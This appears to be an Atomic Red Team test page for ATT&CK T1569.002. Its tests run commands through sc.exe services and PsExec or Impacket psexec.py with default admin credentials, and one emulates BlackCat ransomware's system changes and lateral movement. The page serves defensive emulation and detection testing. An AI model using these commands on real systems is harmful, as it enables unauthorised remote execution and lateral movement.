T1569.002
System Services: Service Execution
Description from ATT&CK
Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.
PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.
Atomic Tests
Atomic Test #1 - Execute a Command as a Service
Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.
Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file 1
art-marker.txt
BlackCat Ransomware (ALPHV)
Cybereason vs. BlackCat Ransomware
Supported Platforms: windows
auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
service_name | Name of service to create | String | ARTService |
executable_command | Command to execute as a service | String | %COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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sc.exe create #{service_name} binPath= "#{executable_command}"
sc.exe start #{service_name}
sc.exe delete #{service_name}
Cleanup Commands:
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del C:\art-marker.txt >nul 2>&1
Atomic Test #2 - Use PsExec to execute a command on a remote host
Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments Will start a process on a remote host.
Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).
Supported Platforms: windows
auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
remote_host | Remote hostname or IP address | String | localhost |
user_name | Username | String | DOMAIN\Administrator |
password | Password | String | P@ssw0rd1 |
psexec_exe | Path to PsExec | String | C:\PSTools\PsExec.exe |
Attack Commands: Run with command_prompt!
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#{psexec_exe} \\#{remote_host} -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"
Dependencies: Run with powershell!
Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})
Check Prereq Commands:
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if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1}
Get Prereq Commands:
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Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_exe}" -Force
Atomic Test #3 - psexec.py (Impacket)
Will execute a command on the remote host with Impacket psexec.py script.
Supported Platforms: linux
auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
remote_host | Remote hostname or IP address | String | 127.0.0.1 |
username | Username | String | Administrator |
domain | Target domain | String | |
password | Password | String | P@ssw0rd1 |
command | Command to execute in target computer | String | whoami |
Attack Commands: Run with bash!
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psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'
Dependencies: Run with bash!
Description: psexec.py (Impacket)
Check Prereq Commands:
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if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
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sudo pip3 install impacket
Atomic Test #4 - BlackCat pre-encryption cmds with Lateral Movement
This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat
Supported Platforms: windows
auto_generated_guid: 31eb7828-97d7-4067-9c1e-c6feb85edc4b
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
targethost | Target hostname to attempt psexec connection to for emulation of lateral movement. | string | $ENV:COMPUTERNAME |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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cmd.exe /c "wmic csproduct get UUID"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:1"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:1"
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
copy $pathtoatomicsfolder\T1569.002\bin\PsExec.exe $env:temp
cmd.exe /c "$env:temp\psexec.exe -accepteula \\#{targethost} cmd.exe /c echo "--access-token""
Cleanup Commands:
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reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0"
rm $env:temp\psexec.exe